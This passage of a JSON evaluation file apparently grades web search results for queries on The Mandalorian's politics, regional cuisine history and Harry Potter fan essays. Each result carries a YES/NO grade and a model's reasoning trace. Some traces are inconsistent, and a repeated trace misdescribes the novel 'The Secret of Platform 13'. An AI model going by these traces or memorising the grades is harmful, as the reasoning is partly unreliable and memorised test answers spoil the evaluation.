                "text": "Thomas Ambrosini    Jan 9, 2020 7 min read            Illustration by JR Fleming  As far as conspiracy theories go, you can call me pretty skeptical. The earth is round, fluoride is good for your teeth, and Mark Zuckerberg is unfortunately not a lizard-person. But there\u2019s one conspiracy theory I hold near and dear, no matter what my smarter, cooler, and overall superior peers say. I am, according to Rotten Tomatoes, one of the only 6% of people who believe that Disney\u2019s\u2026",
                "model_trace": "Query Decomposition:\n1. {analyzes the political themes and symbolism in The Mandalorian}: The document does not mention any analysis of political themes or symbolism in The Mandalorian -> ([0], UNSATISFIED)\n2. {portrays the conflict between the New Republic and the remnants of the Empire}: The document does not mention any portrayal of the conflict between the New Republic and the remnants of the Empire -> ([0], UNSATISFIED)\n3. {relates to real-world politics and current events}: The document does not mention any relation to real-world politics or current events -> ([0], UNSATISFIED)\n4. {depiction of Mandalorian culture and warrior traditions}: The document does not mention any depiction of Mandalorian culture and warrior traditions -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the key subcomponents related to the query. NO."
            },
            {
                "grade": "YES",
                "title": "The Mandalorian Season Two Themes (Part 3): Geopolitics ...",
                "url": "https://creditsandcanon.com/2020/12/30/the-mandalorian-season-two-themes-part-3-geopolitics-within-the-galaxy/",
                "published_date": null,
                "text": "Geopolitics is a term mostly applied to foreign policy or international business. It is a study of the influence of factors such as geography, economics, and demography upon the politics and foreign policy of a state. Geopolitics in Star Wars plays out with the location of planets from the Core Worlds. For context, the Core Worlds are at the center of the galaxy, literally and figuratively. The most well-known Core World is Coruscant. In the prequels, it is the location of the Republic Senate and the Jedi Council and, in the original trilogy timeline, it is the location of the Royal Imperial Academy and home of Emperor Palpatine. It is an overdeveloped planet, being completely covered with city landscape and known for its high skyscrapers and is the cultural, economic, and political center of the galaxy. At some point between the original trilogy and the sequel trilogy, Hosnian Prime became the location of the New Republic Senate. Hosnian Prime was another Core World in the Hosnian System, which was destroyed by the First Order in\u00a0The Force Awakens. I have featured the Star Wars galaxy map below for context for this post:\u00a0\n  credit Disney Parks  \nWe know that\u00a0The Mandalorian\u00a0takes place in areas within the Outer Rim, with the first season largely dealing with the Imperial remnant presence on Nevarro. Lucasfilm has not yet released any updates on where Nevarro is on the galaxy map but some clues are highlighted by\u00a0Star Wars 7\u00d77\u00a0that it is located somewhere in between Mandalore and Mon Cala in the Outer Rim. Throughout most of the first season, we don\u2019t even see a New Republic presence until\u00a0Chapter 6: The Prisoner,\u00a0and that was because their prisoner transport was attacked. In season two, we get more New Republic in the form of Paul Sun-Hyung Lee\u2019s Captain Carson Teva. And it really is only Carson Teva, who seems to be a one-man X-Wing patrol in that section of the Outer Rim. This lack of attention reflects the need and reliance of Marshals in places like Tatooine and Nevarro.\u00a0\u00a0\nIn fact, we can look at Nevarro, Co",
                "model_trace": "Query Decomposition:\n1. [Analysis of political themes and symbolism in The Mandalorian]: The document discusses the geopolitical aspects within the Star Wars galaxy, including the New Republic and the Imperial remnants, which aligns with this subcomponent -> ([1], SATISFIED)\n2. [Portrayal of the conflict between the New Republic and the remnants of the Empire]: The document mentions the New Republic's presence and the Imperial remnants on Nevarro, which relates to this subcomponent -> ([1], SATISFIED)\n3. [Relation to real-world politics and current events]: The document does not explicitly relate the show's themes to real-world politics and current events -> ([0], UNSURE)\n4. [Depiction of Mandalorian culture and warrior traditions]: The document does not mention Mandalorian culture or warrior traditions -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are [Analysis of political themes and symbolism in The Mandalorian] and [Portrayal of the conflict between the New Republic and the remnants of the Empire]. Both of these subcomponents are satisfied. YES."
            }
        ]
    },
    {
        "query": "4. Can you find me a blog post or article that gives a deep dive into the cultural and historical influences behind the cuisine of a specific region or country? I'm especially interested in learning more about how a region's geography, trade routes, religious practices, and social structures have all contributed to the development of its unique dishes, ingredients, and cooking techniques over time.",
        "grid_pos": [
            2,
            2
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "1. The book the user is describing sounds like \"The Secret of Platform 13\" by Eva Ibbotson, a fantasy novel about a young girl named Odge who finds a magical gateway to a parallel world and befriends various talking animals.\n\n2. The user is looking for an analysis of the political themes and symbolism in the TV show The Mandalorian, particularly how it relates to real-world politics and the conflict between the New Republic and the remnants of the Empire. The analysis should also touch on the show's depiction of Mandalorian culture and warrior traditions.\n\n3. The user is looking for a personal essay or Substack post written by someone who grew up in a family deeply involved in the competitive video gaming scene. The essay should provide an insider's perspective on the experiences of traveling to tournaments, the intense training and preparation required, and how that lifestyle shaped the author's identity and relationships.\n\n4. The user is looking for a blog post or article that provides a deep dive into the cultural and historical influences behind the cuisine of a specific region or country, exploring how factors like geography, trade routes, religious practices, and social structures have contributed to the development of unique dishes, ingredients, and cooking techniques over time.\n\n5. The user is looking for a personal essay or Substack post written by a lifelong fan of a particular book series or film franchise. The essay should explore the emotional connection the author has to the characters and story, how the work has impacted their life, and why it has remained meaningful to them over the years."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Cultural Influences on Italian Cuisine - Cucina Toscana",
                "url": "https://toscanaslc.com/blog/the-cultural-influences-on-italian-cuisine/",
                "published_date": "2016-07-23",
                "text": "Author Recent Posts \nItalian cuisine is distinct and renowned, tracing back thousands of years. As with all great cuisines of the world, Italian cuisine is a composite of influences from many different cultures over a large expanse of time. Today, we explore the cultural influences on Italian cuisine \u2013 from antiquity to present day.\n The Beginnings of Italian Cuisine \nThe beginnings of Italian cuisine can be traced back to ancient Rome \u2013 both the food itself and the spirit of eating. The Roman Empire stretched across a vast area of the ancient world, from the Middle East to North Africa to the Mediterranean. As the Roman Empire conquered different areas, the spices and ingredients of these lands were incorporated into Roman cuisine.\nDishes of the Roman Empire included the exotic and the familiar. Staples of the typical Mediterranean diet can be found in these early beginnings, with items such as wine, olive oil, bread, vegetables, legumes, and cheeses. Romans also experimented with ingredients such as ostrich meat, fish sauces, and roasted game.\nPasta, one of Italy\u2019s most famous food items, is traced back to the Etruscans who conquered Rome in 800 BC. Food historians have identified a mural in an Etruscan tomb which depicts the making of pasta: cooks are shown mixing flour and water, with tools such as a rolling pin and a cutting machine. Other early influences on pasta include the Greeks, who introduced makrios \u2013 perhaps a predecessor of macaroni, and the Arabs, who introduced ittrya, an early ancestor of fusilli.\nIn the 1st century AD, we find one of the world\u2019s oldest known cookbooks, De re coquinaria (On Cookery), compiled by Marcus Gavius Apicius. This cookbook collects ancient Roman recipes. In these early years, breadmaking was introduced to Romans by the Greeks, and fermentation of grapes turned grape juice to wine.\n Italian Cuisine in the Middle Ages \nAfter the fall of the Roman Empire, the region was conquered by many different groups, from the Visigoths to the Byzantines to the Arabs to the Normans to ",
                "model_trace": "Query Decomposition:\n1. {deep dive into the cultural and historical influences behind the cuisine of a specific region or country}: This document provides a detailed exploration of the cultural influences on Italian cuisine, tracing back to ancient Rome and covering various historical periods -> ([1], SATISFIED)\n2. {geography, trade routes, religious practices, and social structures contributing to cuisine development}: The document mentions the influence of the Roman Empire's vast geography and trade routes on Italian cuisine, as well as the incorporation of spices and ingredients from conquered lands. However, it does not explicitly mention religious practices or social structures -> ([2], SATISFIED).\n\nAssessment: The document satisfies both key subcomponents relevant to the query. It provides a deep dive into the cultural and historical influences on Italian cuisine, including geography and trade routes. YES."
            },
            {
                "grade": "YES",
                "title": "223 Years of Garifuna Food, Culture, and Celebration",
                "url": "https://www.seriouseats.com/garifuna-cuisine-history-hudutu",
                "published_date": "2020-06-15",
                "text": "Many dishes comprise the world of Garifuna cuisine, but hudutu, a velvety ball of mashed plantain that\u2019s served with soups and stews, is probably its signature. Called hudutu baruru when made with both green and ripe plantains, it has a soft, dense texture, and sometimes a subtle sweetness. It might be served with takini\u2014a stew of cabbage, warm spices, and king fish\u2014or falmo, a seafood broth enriched with coconut milk and flavored with black pepper, garlic, and onions. But no matter how it\u2019s served, it\u2019s the dish closest to Yolanda Castillo's heart.\n\nThe head chef and co-owner of Chicago\u2019s Garifuna Flava, Castillo developed a love for cuisine at an early age. It was in her native country of Belize that she learned the secrets to making hudutu, falmo, and takini\u2014among other dishes. Those recipes were some of the mementos she brought with her when she moved to the US. \"My mom would teach me and guide me; she showed me the traditional way of cooking our Garifuna cuisine,\" she says. (The business has survived through Chicago\u2019s COVID-19 shutdown by offering delivery; it\u2019s raising funds via GoFundMe to support staff.) Today, Castillo is one of several Garinagu\u2014plural for Garifuna\u2014keeping the culture alive, not only by maintaining and celebrating the traditions of their cuisine, but by sharing that cuisine with a wider audience.\n\nSerious Eats / Wes G\u00fcity and Milton G\u00fcity\n\nThe Garifuna origin story is a complex one that involves attempts to enslave, imprison, exile, and displace the Afro-Indigenous community. Though the exact year has been debated, historians believe West Africans escaped slave ships that wrecked off the coast of St. Vincent and the Grenadines in the 1600s. While residing in St. Vincent, these West Africans and their descendants mixed with the Caribbean island\u2019s Arawak and Carib populations, forming the community now known as Black Carib, or Garifuna in the Arawakan language. After a treaty passed control of St. Vincent from France to Britain in 1763, the already active Black Carib resistance to colonial",
                "model_trace": "Query Decomposition:\n1. {deep dive into the cultural and historical influences behind the cuisine of a specific region or country}: This document provides a detailed history of Garifuna cuisine, including cultural and historical influences -> ([1], SATISFIED)\n2. {how a region's geography, trade routes, religious practices, and social structures have contributed to the development of its unique dishes, ingredients, and cooking techniques over time}: The document discusses the Garifuna origin story, including geographical and social influences, but does not explicitly mention trade routes or religious practices -> ([2], SATISFIED)\n\nAssessment: The document provides a comprehensive look into the cultural and historical influences behind Garifuna cuisine, satisfying the key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "The Little-Known Food Culture That Shaped Southern Cooking Today",
                "url": "https://food52.com/blog/22797-how-gullah-cuisine-shaped-southern-cooking-today",
                "published_date": "2018-08-03",
                "text": "Gullah cuisine, South Carolina's crowning gem.\n Photo by Hilton Head Island-Bluffton Chamber of Commerce\n\nThe checks they cash on Hilton Head Island are deep-fried and smothered in gravy. Nearly three million people visit the summer vacation hotspot every year, filling up the area\u2019s 250-plus restaurants. It\u2019s not surprising that tourism is a major engine in South Carolina\u2019s economy, pouring in over 21 billion dollars. The food industry accounts for nearly half of that.\n But lost in the sauce of this resonant movement is the coastal cuisine of the Gullah (aka Gullah Geechee) people, descendants of those brought to America during the Transatlantic Slave Trade from western and southwestern Africa, including Sierra Leone, Senegal, and Angola. (Many historians believe the name \u201cGullah\u201d is derived from a mispronunciation of Angola.) Prized for their proficiency in farming, Gullahs worked coastal plantations ranging from South Carolina and Georgia to Jacksonville, Florida. They farmed lima beans, okra, and tomatoes. They raised pigs and incorporated oysters, turtles, and shrimp into their cuisine. And they cultivated rice like their lives damn well depended on it. \n When the Civil War ended, they entrenched themselves into their secluded areas away from the mainland. Here they created their own world\u2014a hybridized culture consisting of mixed African traditions and American ingredients. Set off in their own timeline, isolated geographically and culturally, the Gullah people were but one thread in an entirely separate lineage of people disconnected from the rest of the country, even from other Southern black communities.\n Long revered, Hilton Head\u2019s famed cooking style exists as a testament to the Gullahs\u2019 pronounced ingenuity. And it\u2019s this specific Creolized culture that defines much of Southern cooking today.\n\nNow, to be clear: Gullah cuisine doesn\u2019t exist as some separate branch of soul food. Staples like macaroni and cheese, fried chicken, and sweet potato pie are found in Gullah food as well. The biggest difference l",
                "model_trace": "Query Decomposition:\n1. {deep dive into the cultural and historical influences behind the cuisine of a specific region or country}: This document provides an in-depth look at Gullah cuisine and its historical and cultural influences, particularly focusing on the Gullah people and their contributions to Southern cooking -> ([1], SATISFIED)\n2. {how geography, trade routes, religious practices, and social structures contributed to the development of unique dishes, ingredients, and cooking techniques}: The document discusses the geographical isolation of the Gullah people, their African heritage, and their farming practices, which influenced their cuisine -> ([2], SATISFIED).\n\nAssessment: The document satisfies both key subcomponents by providing a detailed exploration of the cultural and historical influences on Gullah cuisine, including geographical and social factors. YES."
            },
            {
                "grade": "NO",
                "title": "Food is the Best Way to Learn About a Country's Culture - Medium",
                "url": "https://medium.com/rooted-publication/food-is-the-best-way-to-learn-about-a-countrys-culture-4ec91bd95599",
                "published_date": null,
                "text": "Open in app\n            Sign up\n              Sign in\n                  Write\n              Sign up\n                Sign in\n        Mastodon\n                                Member-only story\n                        Food is the Best Way to Learn About a Country\u2019s Culture\n                        So Travel Hungry\n                                                Sam Dixon Brown\n                                          \u00b7\n                                          Follow\n                                          Published in\n                                              Rooted\n                                          \u00b7\n                                        7 min read\n                                          \u00b7\n                                        Dec 22, 2020\n                                        --\n                                      1\n                                          Share\n                    Photo by Stefan Vladimirov on Unsplash\n                      If you want to really experience a place when you\u2019re travelling or on vacation, you need to get under its skin. Find its heart and soul. Its culture.\n                      And I\u2019m not talking about visiting landmarks here. If all you do is look at pretty buildings and tour museums all day you may come away feeling unsatisfied.\n                        --\n                        --\n                        1\n                    Follow\n                    Written by Sam Dixon Brown\n                      3.3K Followers\n                      \u00b7 Editor for\n                          Rooted\n                    Solopreneur developer. Simple-living. Perpetual travel. https://sambrown.carrd.co/\n                    Follow\n                    Help\n                    Status\n                    About\n                    Careers\n                    Press\n                    Blog\n                    Privacy\n                    Terms\n                    Text to speech\n                    Teams",
                "model_trace": "Query Decomposition:\n1. {deep dive into the cultural and historical influences behind the cuisine of a specific region or country}: The document appears to discuss the general idea of learning about a country's culture through its food but does not specify a deep dive into cultural and historical influences of a specific region or country -> ([1], UNSATISFIED)\n2. {geography, trade routes, religious practices, and social structures contributing to cuisine}: There is no indication in the content provided that these specific factors are discussed in relation to the development of cuisine -> ([0], UNSURE)\n\nAssessment: The document does not satisfy the key subcomponent of providing a deep dive into the cultural and historical influences behind the cuisine of a specific region or country. NO."
            },
            {
                "grade": "YES",
                "title": "The Significance of Food: Exploring Culture, History, and",
                "url": "https://www.coursesidekick.com/geography/3184916",
                "published_date": null,
                "text": "Question 4 \nThe food of a country or region is an important part of its history and culture. They show how  people feel about their culture, their social and economic history, and the environment. Cuisines  are more than just food; they also include the customs, values, and beliefs of a society or  community(Matta, 2015). In this way, a region's food shows off its history, geography, and  people. They give pride to the people who identify with them and pass on cultural traditions from \none generation to the next. \nFirst of all, a region's food is a window into its history and culture. Food is a big part of human  culture, and different cuisines can tell us about the past. The ingredients, cooking methods, and  spices used in a cuisine show how its history and the people who lived there moved around(Di  Pietro et al., 2018). For example, the spices, cooking methods, and ingredients used in Indian  food show the effects of trade routes, colonization, and immigration. In the same way, the use of  lamb, spices, and noodles in Central Asian food shows the history of the Silk Road. In this way, a \nregion's food is a link to its past that helps people understand their cultural heritage and history. \nSecond, food tells us about the social and economic history of a place. Food is not only a basic  need, but it also shows how well off a region is socially and economically. Cuisines are a  reflection of the resources, climate, and social class of the people who live in a certain area. For  example, coastal cuisines like Japanese and Vietnamese use a lot of seafood because there are so  many fish and shellfish in those areas(Ndour, 2020). On the other hand, dairy and grains are used \nin landlocked places like Central Asia because they are easy to get. Also, a region's food can give \nyou an idea of how well-off its people are. For example, the fact that Mughal cuisine in India  uses a lot of spices and expensive ingredients shows how wealthy and important the ruling class  was.   ||||I||||    Home\n        Subjects\n    Log inJ",
                "model_trace": "Query Decomposition:\n1. {Deep dive into the cultural and historical influences behind the cuisine of a specific region or country}: This document discusses the cultural and historical influences behind various regional cuisines, such as Indian and Central Asian food, and mentions factors like trade routes, colonization, and immigration -> ([1], SATISFIED)\n2. {How geography, trade routes, religious practices, and social structures contributed to the development of unique dishes, ingredients, and cooking techniques}: The document mentions geography (coastal vs. landlocked regions), trade routes (Silk Road), and social structures (wealth and social class) in the context of cuisine development -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing a deep dive into the cultural and historical influences behind the cuisine of specific regions and discussing how various factors have contributed to the development of unique dishes, ingredients, and cooking techniques. YES."
            },
            {
                "grade": "NO",
                "title": "Country Cuisine Guide \u2013 igourmet",
                "url": "https://igourmet.com/blogs/country-cuisine-guide",
                "published_date": null,
                "text": "Irish Cuisine Guide\n          Shop Now The early history of Irish Food was centered on grains, mainly oats and barley, eaten in the form of porridge. Beef, mutton, pork and shellfish were also eaten, in addition to wild fruit and nuts, especially hazelnuts. The main vegetables grown were carrots, parsnips, celery, turnips, cabbage and--\n        \n        \n    \n      \n    \n      \n    \n      \n    \n      \n    \n      \n        \n          \n          \n          Dutch Cuisine Guide\n          Shop Now Dutch Food, the cuisine of the Netherlands, has been shaped over the centuries by fishing, farming and the raising of domesticated animals. Typical Dutch Food during the Middle Ages and the Renaissance included bread, herring, peacock, pheasant, eggs, pies and tarts. The cultivation of barley, oats, rye, wheat--\n        \n        \n    \n      \n    \n      \n    \n      \n    \n      \n    \n      \n    \n   ||||I||||            GET $10 OFF WITH EMAIL SIGN UP! \u25ba\n                Shop All Rewards Corporate Gifts\n                \u2715\n                      Suggested\n                      Categories\n                      Products\n                      View all related products\n                      Articles & Guides\n                      View all related articles & guides\n              Sign In\n                    Product added to cart successfully!\n                        Product name\n                        Description variant line\n                          $138.00 $100.00\n                            Qty.\n                            1\n                      Cart Subtotal\n                      $166.00\n                      View Cart Checkout Now\n                    See cart to add a Gift Message, Gift Packaging\n                    or to Ship to Multiple Addresses.\n                      Keep Shopping Checkout Now\n                    Review My Cart See cart to Schedule Delivery or Ship to Multiple Addresses.\n              * New\n              * Gifts\n                      Shop All Gifts > Build A Gift >\n                      Gifts by Occasion\n      ",
                "model_trace": "Query Decomposition:\n1. {Deep dive into the cultural and historical influences behind the cuisine of a specific region or country}: The document provides brief overviews of Irish and Dutch cuisines, but not a deep dive into cultural and historical influences -> ([1], UNSATISFIED)\n2. {Geography, trade routes, religious practices, and social structures contributing to cuisine}: The document mentions some historical aspects like grains, meats, and vegetables in Irish cuisine and farming and fishing in Dutch cuisine, but does not cover these aspects in detail -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide a deep dive into the cultural and historical influences behind the cuisine of a specific region or country. It only gives brief overviews without detailed analysis. NO."
            }
        ]
    },
    {
        "query": "5. I'm trying to find a personal essay or Substack post written by someone who has been a lifelong fan of a particular book series or film franchise. I'd love to read about their emotional connection to the characters and story, how the work has impacted their life, and why it has remained so meaningful to them over the years, even as they've grown older.",
        "grid_pos": [
            2,
            2
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "1. The book the user is describing sounds like \"The Secret of Platform 13\" by Eva Ibbotson, a fantasy novel about a young girl named Odge who finds a magical gateway to a parallel world and befriends various talking animals.\n\n2. The user is looking for an analysis of the political themes and symbolism in the TV show The Mandalorian, particularly how it relates to real-world politics and the conflict between the New Republic and the remnants of the Empire. The analysis should also touch on the show's depiction of Mandalorian culture and warrior traditions.\n\n3. The user is looking for a personal essay or Substack post written by someone who grew up in a family deeply involved in the competitive video gaming scene. The essay should provide an insider's perspective on the experiences of traveling to tournaments, the intense training and preparation required, and how that lifestyle shaped the author's identity and relationships.\n\n4. The user is looking for a blog post or article that provides a deep dive into the cultural and historical influences behind the cuisine of a specific region or country, exploring how factors like geography, trade routes, religious practices, and social structures have contributed to the development of unique dishes, ingredients, and cooking techniques over time.\n\n5. The user is looking for a personal essay or Substack post written by a lifelong fan of a particular book series or film franchise. The essay should explore the emotional connection the author has to the characters and story, how the work has impacted their life, and why it has remained meaningful to them over the years."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "25 Years of Harry Potter",
                "url": "https://www.latterdaysaintgeeks.com/2022/06/harrypotter25.html",
                "published_date": "2022-06-13",
                "text": "This month we celebrate 25 years since Harry Potter and the Philosopher\u2019s Stone was published and the Wizarding World of Harry Potter was officially born. In honor of a quarter century of magic, I asked my friends to share their thoughts about Harry Potter and why the franchise has meant so much to us as fans over the past decades. \u201cOne of my biggest takeaways from Harry Potter is the importance of healthy, solid friendships. Throughout the series, Ron and Hermione are there with Harry, throwing themselves into the path of danger and helping him however they can. They don't judge, the offer support and alternative ideas, and, when needed, a kind voice of reason. Without those solid friendships, are wouldn't have even made it through his first year at Hogwarts. Or, if he did, he'd have been friends with Draco... but that is another story altogether!\u201d (David B) \u201cLike most fans, I love the world that JK Rowling built\u2014the characters, the story, etc. I love the lessons and/or symbolism that she employed. I think what I liked about it in particular was the new idea of a wizarding school. That was something I\u2019d never really considered. Because of the age of the main characters, it was easier (and enjoyable!) to insert myself into the fantasy world she created. I also loved having that story be a way of connecting with other fans as well, looking forward to the books and/movies together with the Harry Potter community.\u201d (Becca J) \u201cI love that it has given us a shared cultural experience that sparked a huge reinterest in meaningful escapist literature during often dark times.\u201d (Ken K) \u201cMy dad brought the first two books home after getting a gift certificate to a bookstore and a recommendation about the books. We started reading them as a family in the evenings and it brought my family together as a common interest as we read and enjoyed them together. As a book lover, I loved watching my family share my love of books through experiencing the world of Harry Potter together.\u201d (Juliana C) \u201cI grew into adulthood along with Ha",
                "model_trace": "Query Decomposition:\n1. {Personal essay or Substack post}: The document is a blog post, which can be considered similar to a personal essay -> ([1], SATISFIED)\n2. {Written by someone who has been a lifelong fan of a particular book series or film franchise}: The document includes multiple personal accounts from lifelong fans of the Harry Potter series -> ([1], SATISFIED)\n3. {Emotional connection to the characters and story}: The document contains personal reflections on the emotional impact of Harry Potter, including connections to characters and story -> ([1], SATISFIED)\n4. {Impact on their life}: The document includes how Harry Potter has impacted the lives of the contributors, such as fostering friendships and family bonding -> ([1], SATISFIED)\n5. {Meaningful over the years, even as they've grown older}: The document includes reflections on how the series has remained meaningful over time -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "Harry Potter and the Initially Dismissive But Ultimately Appreciative Fan",
                "url": "https://whatever.scalzi.com/2017/06/26/harry-potter-and-the-initially-dismissive-but-ultimately-appreciative-fan/",
                "published_date": "2017-06-26",
                "text": "Posted on June 26, 2017\n\nPosted by\n\n120 Comments\n\nThe first time I personally encountered Harry Potter was not long after the third book, Harry Potter and the Prisoner of Azkaban, came out. I was 30 and my daughter was an infant, so in neither case were these particular Scalzis the target demographic for the books, but by that time the buzz (and sales) of the series were pretty significant. So one day in the airport, while I was browsing in a bookstore, I picked up Harry Potter and the Chamber of Secrets and opened it up near the end, to the part where Dobby the House Elf is given a sock.\nI read it for a few pages to get the sense of Rowling\u2019s style, and then put the book back on the shelf and thought, \u201cwell, okay, that\u2019s not for me.\u201d Why not for me? In this case, it was something about the writing of that particular scene. I could see how all the pieces fit together, and I could see how it was working, and I could also see that all of it seemed pitched to someone who wasn\u2019t me, 30-year-old John Scalzi. This didn\u2019t mean it wasn\u2019t a good book or the right book for someone else; by the age of thirty I had gathered enough wisdom (and, dare I say it, humility) to recognize that \u201cnot for me\u201d was not the same as \u201cnot for anyone.\u201d But I didn\u2019t feel the click that made me want to keep reading. Evidently, Harry Potter was not for me.\nAnd that was okay! There is a lot of stuff in the common culture that is not for me, particularly when it\u2019s pitched to people who are younger or older than I am. Dawson\u2019s Creek and The Vampire Diaries are not for me, just like My Three Sons or Dark Shadows were not for me. Emerson Lake and Palmer was not for me, nor was N*Sync, nor is Ariana Grande. Doctor Who\u2019s first iteration was not for me and I have to admit I\u2019m only passably interested in the current version. I could be here for days with a list of all the things that are not for me. Again, which is fine! There are lots of things that I decided are for me. I was happy with them.\nAnd so with Harry Potter and J.K. Rowling, whose niche in m",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a personal essay posted on a blog -> ([1], SATISFIED)\n2. {written by someone who has been a lifelong fan of a particular book series or film franchise}: The document is written by someone who initially dismissed the Harry Potter series and does not indicate that they have been a lifelong fan -> ([1], UNSATISFIED)\n3. {emotional connection to the characters and story}: The document does not provide details about an emotional connection to the characters and story, rather it discusses the author's initial dismissal of the series -> ([1], UNSATISFIED)\n4. {how the work has impacted their life}: The document does not discuss how the work has impacted the author's life -> ([1], UNSATISFIED)\n5. {why it has remained meaningful to them over the years}: The document does not discuss why the work has remained meaningful over the years -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the subcomponents related to being a lifelong fan, emotional connection, impact on life, or long-term meaning. NO."
            },
            {
                "grade": "YES",
                "title": "A Look Back at 20 Years With 'Harry Potter:' Such a Beautiful Place It Is, To Be With Friends",
                "url": "https://geekdad.com/2017/06/20-years-with-harry-potter/",
                "published_date": "2017-06-20",
                "text": "Image copyright: Warner Bros \nHow do you look back on a series that has, for decades, given your family memories filled with magic? Here is a tearful look back on 20 years with Harry Potter. \nTwenty years. Has it really been that long since the first Harry Potter book was released? My eldest child would have been almost two years old and my youngest child not even born. Now, they are both adults and Harry Potter is 20?! Shut. Up.\nWhen I think back about my family\u2019s time with Harry, it puts a little something in my eye. When my now adult children and I talk about our time with Harry\u2026 No! We\u2019re not crying, you\u2019re crying!\nMy family\u2019s story of 20 years with Harry Potter begins with the movies. But to begin with the movies, we need to start our story at the end.\nIt still feels like yesterday that Harry Potter and the Deathly Hallows: Part 2 hit theaters. On opening day, Kid1 took Kid2 and me to see it, his treat. This was such a bitter-sweet experience for me and I\u2019m not sure I could ever truly articulate why. But I am going to try anyway.\nSixteen years ago, on opening night, I took Kid1 to see the first Harry Potter movie. Kid2 was not yet old enough. And if my memory is serving me correctly, it was the first movie I had taken him to see in the theater. We arrived at the theater a couple hours before curtain, waiting in a huddled mass with loads of other people. I had never done that before. Up until the first Harry Potter movie, I found the idea of standing in line for hours to be ridiculous. Harry and his cohort of friends changed that.\n \u201cYou\u2019re a wizard, Harry\u201d \u2013 Falling Into 20 Years With Harry Potter \n via GIPHY \nIt wasn\u2019t until Harry Potter mania had started to build around the first movie that I read the first two books. I had heard the name in the media and how it was supposedly the next best thing since sliced bread, but it wasn\u2019t a thing in my small town. I knew no-one who had read the books or even cared to. The third and fourth books were already published as well, but I wasn\u2019t going to purchase any of th",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a personal essay -> ([1], SATISFIED)\n2. {written by someone who has been a lifelong fan of a particular book series or film franchise}: The document is written by someone reflecting on 20 years with the Harry Potter series, indicating a long-term fan -> ([1], SATISFIED)\n3. {emotional connection to the characters and story}: The document describes the author's emotional experiences and memories with the Harry Potter series -> ([1], SATISFIED)\n4. {how the work has impacted their life}: The document discusses how the Harry Potter series has impacted the author's family life and experiences -> ([1], SATISFIED)\n5. {why it has remained meaningful over the years, even as they've grown older}: The document reflects on the lasting significance of the Harry Potter series to the author and their family -> ([1], SATISFIED)\n\nAssessment: All key subcomponents are SATISFIED. The document is a personal essay that discusses the author's long-term emotional connection to the Harry Potter series, its impact on their life, and its lasting meaning over the years. YES."
            },
            {
                "grade": "NO",
                "title": "How I wrote my personal essay for the Huffington Post",
                "url": "https://clareegan.substack.com/p/how-i-wrote-my-personal-essay-for",
                "published_date": null,
                "text": "Last week, I published  my first personal essay  with the Huffington Post. Many of you discovered my work through that essay and have joined the growing community here at Beyond Survival.  You are so welcome!  Today, I\u2019d like to share a little more about the process of drafting and submitting that essay and to answer any questions you have.   Before we start, a quick re-introduction: I\u2019m Clare Egan. I\u2019m a queer Irish writer, on a mission to change how we think about life after trauma. I founded  Beyond Survival  in 2023 because I wanted a space for survivor-centred conversations about recovering after sexual violence. My ambition is to grow this newsletter into a social enterprise, which helps survivors feel less alone. I was recently  selected for the Social Entrepreneurs Ireland Ideas Academy  and am deep in the design thinking process. If you\u2019d like to support my work, please consider becoming a paid subscriber. It means a lot!\u00a0   I started working on this essay in  February 2023 . I was taking a class on The New York Times\u2019s Modern Love column and the teacher encouraged us to explore one of our most emotionally difficult experiences on the page. The early drafts were painful to write. I could only get words on the page by privately agreeing that I\u2019d never try to publish it.\u00a0  When I\u2019m writing autobiographically, I always have a lot of material to work from. I started by revisiting the journals I kept as a younger person and sorted through what I\u2019d written in real time. This is always a laborious part of the process. I read everything, captured the themes and scenes I wanted to include and assembled a loose timeline. I experimented with different ways of framing the essay - would I play up the time I spent in Belfast, allowing the conflict in Northern Ireland to be the backdrop to my experiences? Would I highlight my Catholicism and my relationship with my mother? Would I take a more theoretical \u2018heteronormativity limits us all\u2019 angle? I also had to decide which specific experiences with men would be included.",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a Substack post -> ([1], SATISFIED)\n2. {written by someone who has been a lifelong fan of a particular book series or film franchise}: The document does not mention the author being a lifelong fan of a particular book series or film franchise -> ([0], UNSURE)\n3. {emotional connection to the characters and story}: The document does not mention any emotional connection to characters and story from a book series or film franchise -> ([0], UNSURE)\n4. {impact on their life}: The document discusses the impact of trauma and recovery on the author's life, but not in relation to a book series or film franchise -> ([0], UNSURE)\n5. {meaningful over the years}: The document does not mention anything about a book series or film franchise being meaningful over the years -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {personal essay or Substack post}, which is satisfied. However, the document does not address the other subcomponents related to being a lifelong fan of a book series or film franchise, emotional connection to characters and story, impact on life, and long-term meaning. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Write Substack Subscriber-Worthy Personal Essays - Sarah Fay",
                "url": "https://www.writersatwork.net/p/how-to-write-a-personal-essay-on-substack",
                "published_date": null,
